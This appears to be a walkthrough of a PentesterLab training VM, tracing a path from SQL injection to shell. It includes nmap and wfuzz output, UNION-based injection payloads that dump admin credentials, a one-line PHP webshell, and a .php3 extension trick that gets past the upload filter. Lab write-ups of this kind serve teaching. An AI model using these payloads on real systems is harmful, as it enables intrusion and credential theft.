Introduction
Another VM from Pentesterlab, the goal of this image is to leverage a SQLi into shell access to the box.
Discovery
Let’s start off as we normally do by identifying the box and doing a port scan.
root@kali:~# netdiscover -i eth1
Currently scanning: 172.16.4.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:00 1 60 Unknown vendor
192.168.56.100 08:00:27:1d:35:ad 1 60 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:5d:46:6e 1 60 PCS Systemtechnik GmbH
root@kali:~# nmap -sV -p- 192.168.56.101
Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-10 20:08 EST
Nmap scan report for 192.168.56.101
Host is up (0.00074s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.16 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.06 seconds
So here we see that there is an Apache instance running on port 80. Let’s check it out with a web browser.
Clicking around to other areas of the website it is clear that pages other than the homepage are accessed with the following request:
GET /cat.php?id={id} HTTP/1.1
Host: 192.168.56.101
[...]
i.e. the test
page is access via id=1
, ruxcon
through id=2
etc. The admin
page is located at /Admin.php
and prompts us for the username and password of the admin.
Input Fuzzing
There is clearly some dynamic lookup happening via the id
field in the GET
requests. Let’s use the wfuzz
tool that we used for enumeration on the last challenge and repurpose it for SQLi fuzzing.
wfuzz -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt http://192.168.56.101/cat.php?id=FUZZ
The preceding command replaces the FUZZ
parameter in the URL at the end with the contents of each line in the SQL.txt
file, which contains a number of different common SQLi strings. The output looks like so:
root@kali:~# wfuzz --hc 404 -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt http://192.168.56.101/cat.php?id=FUZZ
********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer *
********************************************************
Target: http://192.168.56.101/cat.php?id=FUZZ
Total requests: 125
==================================================================
ID Response Lines Word Chars Request
==================================================================
00000: C=200 66 L 113 W 1235 Ch "'%20;"
00001: C=200 66 L 114 W 1244 Ch "\x3D%20\x3B'"
00002: C=200 66 L 114 W 1238 Ch "=%20'"
00003: C=200 66 L 114 W 1239 Ch "=%20--"
00004: C=200 66 L 113 W 1236 Ch "=%20;"
00005: C=200 66 L 113 W 1235 Ch "" or 0=0 #"
00006: C=200 66 L 113 W 1235 Ch """
[...truncated...]
The important field that we want to look at is the Word
count. Abberations from the baseline of around 113 W indicates that there is some alternate response generated through the handling of the request (errors, extra data, etc). A few interesting samples include:
00024: C=200 66 L 84 W 1088 Ch "'hi' or 'x'='x';"
00064: C=200 66 L 84 W 1088 Ch "%20'sleep%2050'"
00109: C=200 66 L 84 W 1088 Ch "'%20or%20''='"
00120: C=200 66 L 84 W 1088 Ch "0 or 1=1"
00030: C=200 66 L 90 W 1128 Ch "PRINT @@variable"
As it turns out, 84 W generally indicates a successful SQLi injection whereas 90 W seems to indicate syntax errors (whoops leaving error messages on in DB configs). These injections throw back presumably all of the images in the query’s table:
Now images are neat and all, but let’s see if we can build off these constructs to get a little more information out of this DB.
Enumeration
We’re going to build our enumeration efforts off of the 0 or 1=1
injection because I like less punctuation. Our enumeration efforts build off of a key SQL keyword, UNION
. The UNION
keyword is used to join the results of multiple SQL requests. As our initial injection is limited to the data in the table in the vulnerable request, we can use the UNION
keyword to join the results of the initially limited dataset and any arbitrary data that we choose with the statement we can create.
i.e. select user from users where user_id=1 UNION select user from users where user_id=2;
would return both user 1 and user 2. There are a couple of steps to exploiting this UNION
injection:
- Find the number of columns in the exploitable request
- Determine which of these columns are echoed to the response
- Exploit that column to retrieve table metadata from the DB
- Access arbitrary data from the DB
1. Find Number of Columns in Request
So, for the first step we need to determine the number of columns in the initial request. This is important because for the UNION
to work, both queries have to have the same number of columns in the response. For this task, we can utilize the ORDER BY
keyword. This keyword returns the results ordered by the column specified by the ORDER BY
value. For example:
select user,first_name,last_name from users where user_id=1 ORDER BY 2
Would return the results of the query ordered by the second column or first_name
. If we tried the same query with ORDER BY
set to 4, which does not correspond to a column in the request, we would receive an error
Unknown column '4' in 'order clause'
We can use this functionality to determine the number of columns in the request so we know how to pad our injection in the second half of the UNION
statement. Our injection will look like:
1 order by {n}
Where n is the number of columns. By incrementing ORDER BY
until we get an error, we determine that there are 4 columns in the injection request.
2. Determine Which Column Echoes to Response
Now that we know how many columns are in the initial request, we can craft our SQLi payload with the UNION
keyword like so:
9999 union select 1,2,3,4;
We could match the shown image to the results of a cat.php?id=
request. Another way is to replace a column number with a MySql function with output. One such command is the user()
command that returns the name of the current user of the DB. By iterating through the columns of our concatenated select
statement, we find that the second column of the result is what is displayed to the screen:
3. Retrieve Table Metadata
Now that we have SQLi with arbitrary database access, we can enumerate the database and retrieve table metadata like table names and column names in tables in order to perform finer-grained data extraction. Metadata about the tables present in the database are stored in a table in the database (in versions of MySQL >= 5) named information_schema
. We can use the tables
and columns
accessors on information_schema
to pull table and column names from the database like so:
1 union select 1,table_name,3,4 from information_schema.tables
1 union select 1,column_name,3,4 from information_schema.columns
Unfortunately, this doesn’t tell us which column name belongs to which table. However, we can guess that the table name might be stored in the columns data. We can tie the information together with a concat
call:
1 union select 1,concat(table_name, ':', column_name),3,4 from information_schema.columns
And we have the table/column schema! While parsing through we see the users
table schema. Maybe it holds the admin creds for the login page? Let’s see:
1 union select 1,concat(id, ':', login, ':', password),3,4 from users
Sure enough it does. Now this looks like MD5 to me. The easiest way I’ve been dealing with MD5 hashes is to just check them out with a search engine. It’s quicker than setting up John and can usually get results for common passwords.
Sure enough, we’ve cracked the admin login.
Access Admin Page
Logging into the admin page presents us with some administration tools such as file upload and deletion.
Let’s try to upload a really simple webshell in php
<?php
system($_GET['cmd']);
?>
No dice. Given the relative simplicity of this challenge though, I think it will probably use extension checking for file validity (and hopefully a blacklist vs. whitelist). If we change the extension to .php3 we should still be able to access the webshell and it will bypass a simply .php extension filter.
Sure enough, we’ve got our .php3 webshell on the server!
Exploit
I found the location of the webshell by checking the source of one of the images on the website and locating the upload dir as
/admin/uploads/
Let’s see if we have access:
Great! But entering commands through the browser is tedious, let’s give ourselves a reverse shell to work with:
And we have successfully gone from SQLi to shell!